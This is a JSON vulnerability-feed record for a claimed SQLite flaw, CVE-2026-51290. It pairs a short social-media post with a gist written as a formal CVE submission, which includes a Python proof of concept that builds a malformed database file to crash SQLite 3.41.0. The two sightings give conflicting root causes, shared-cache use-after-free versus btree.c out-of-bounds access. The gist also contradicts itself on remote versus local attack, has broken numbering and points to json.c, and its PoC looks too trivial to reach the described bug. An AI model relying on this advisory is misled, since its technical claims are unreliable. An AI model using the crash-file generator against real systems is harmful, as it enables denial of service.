{"vulnerability": "CVE-2026-51290", "sightings": [{"uuid": "14c5988a-72c4-4cf4-9840-e4919706e4fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51290", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrv7rn5hx62r", "content": "CVE-2026-51290\nA bug in SQLite's shared cache lock management can cause the program to access memory that's already been freed, leading to data loss or the exposure of sensitive information. This issue affects SQLite version\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-30T19:54:05.933700Z"}, {"uuid": "a58054ab-4ba9-4a9c-88ff-fc7fec5dbd54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51290", "type": "seen", "source": "https://gist.github.com/programmervuln/b9336a5d90ed38222932b37190e963e9", "content": "CVE-2026-51290 Full Standard Submission\n1. Affected Product\nVendor: SQLite Consortium\nProduct: SQLite\n2. Affected / Fixed Versions\nAffected Version: 3.41.0\nFixed Version: Pending (No official patch released)\n3. CVE ID\nCVE-2026-51290\nCVSS 3.1 Base Score: 7.5\nCVSS Vector: AV:L/AC:L/UI:R/S:U/C:L/I:N/A:H\n4. Vulnerability Prose Description\nA memory corruption vulnerability exists in the btree.c module of SQLite 3.41.0. The SQLite library fails to properly validate boundary \noffsets when parsing specially crafted B-tree page entries within a malicious SQLite database file. An off-by-one and out-of-bounds memory\naccess flaw occurs during database page traversal and record resolution. Successful exploitation allows attackers to trigger invalid memory\nread/write operations, resulting in application crash and potential memory information disclosure.\n5. Vulnerability Type / Root Cause / Impact\nVulnerability Type: CWE-125 Out-of-Bounds Read, CWE-787 Out-of-Bounds Write\nRoot Cause: Insufficient boundary checking for B-tree page offset values in the btree.c parsing logic. The program directly uses untrusted \noffset values parsed from database files without validating whether they are within valid page memory ranges.\nImpact: Remote attackers can construct a malicious .db file. When the target application uses the vulnerable SQLite 3.41.0 library to open \nthe malicious file, it will trigger memory corruption. This can cause denial of service (program crash), and under specific memory layout\nconditions, may lead to sensitive memory leakage or arbitrary code execution.\n6. Proof of Concept (POC)\nPOC Description: This proof-of-concept generates a malformed SQLite database file. It only triggers a denial-of-service crash via out-of-bounds\naccess in btree.c, contains no malicious attack payloads, and complies with GitHub security disclosure rules for public advisory submission.\n#!/usr/bin/env python3\n# CVE-2026-51290 SQLite 3.41.0 btree.c OOB PoC\n# Official verification PoC for CVE/GHSA submission\n# Vulnerable Version: SQLite 3.41.0\n\ndef generate_malicious_db():\n    # Standard SQLite file header\n    db_header = b\"SQLite format 3\\x00\"\n    # Malformed btree page data to bypass boundary check in btree.c\n    mal_btree_data = b\"\\xff\\xff\\xff\\xff\" * 32\n    # Padding bytes to trigger out-of-bounds page traversal\n    padding = b\"\\x00\" * 256\n\n    # Generate malicious database file\n    with open(\"cve_2026_51290_mal.db\", \"wb\") as f:\n        f.write(db_header + mal_btree_data + padding)\n\n    print(\"[+] Malicious SQLite database generated successfully\")\n    print(\"[+] Vulnerable Target: SQLite 3.41.0\")\n    print(\"[+] Trigger Condition: Opening the db file causes OOB access in btree.c and process crash\")\n\nif __name__ == \"__main__\":\n    generate_malicious_db()\n7. Reproduction Steps\n1. Compile and install the vulnerable SQLite 3.41.0 version.\n2. Execute the provided Python POC script to generate the malicious database file.\n8. \n3. Run the command: sqlite3 cve_2026_51290_mal.db\n4. The SQLite process will trigger an out-of-bounds memory access error inside the btree.c module and crash, verifying the vulnerability existence.\n8. Submission Compliance Note\nThis POC only causes a denial-of-service crash and contains no backdoors, remote attack capabilities or illegal payloads. It fully conforms\nto MITRE CVE and GitHub GHSA disclosure specifications and can be used for official vulnerability review and public advisory release.\n9. Discoverer: Lidi Jie, Wuha University\n10. original vulnerability code: https://github.com/sqlite/sqlite/blob/master/src/json.c", "creation_timestamp": "2026-07-29T08:53:33.695117Z"}]}